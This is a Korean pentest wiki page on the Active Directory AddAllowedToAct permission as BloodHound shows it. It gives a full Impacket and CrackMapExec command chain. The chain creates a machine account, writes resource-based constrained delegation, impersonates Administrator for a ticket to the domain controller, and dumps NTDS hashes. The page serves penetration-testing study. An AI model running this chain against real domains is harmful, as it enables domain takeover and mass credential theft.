> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/active-directory/dacl/addallowedtoact.md).

# AddAllowedToAct

객체에 대해 Write msDS-AllowedToActOnBehalfOfOtherIdentity 권한이 있다면 블러드하운드에서 AddAllowedToAct로 표시되며 [Resource Based Constrained Delegation](/data-theft/active-directory/resource-based-constrained-delegation.md) 공격이 가능합니다. 

<figure><img src="/files/1MyTP2iEKnpMQo5n6pCt" alt=""><figcaption></figcaption></figure>

<pre class="language-bash"><code class="lang-bash"><strong># 새로운 머신 계정 생성
</strong>impacket-addcomputer -computer-name 'RBCD$' -computer-pass 'Password123!' -dc-host ad01.contoso.com contoso.com/user-A:'Password123!'

<strong># 타겟의 RBCD에 계정 등록
</strong>impacket-rbcd -delegate-from 'RBCD$' -delegate-to 'AD01$' -action write contoso.com/user-A:'Password123!'

<strong># 등록된 계정을 통해 TGT 발급
</strong>impacket-getST -spn cifs/ad01.contoso.com -impersonate Administrator contoso.com/RBCD$:'Password123!'
export KRB5CCNAME=Administrator.ccache

<strong># NTDS 덤핑
</strong>crackmapexec smb contoso.com -u Administrator --use-kcache --ntds
</code></pre>

## References

{% embed url="<https://lira.epac.to/DOCS/python3-impacket/examples/smbpasswd.py>" %}

{% embed url="<https://dan-feliciano.com/2024/07/14/phantom/>" %}

{% embed url="<https://support.bloodhoundenterprise.io/hc/en-us/articles/17322164218267-AllowedToAct>" %}

{% embed url="<https://www.xn--hy1b43d247a.com/privilege-escalation/ad-dacl/addallowedtoact>" %}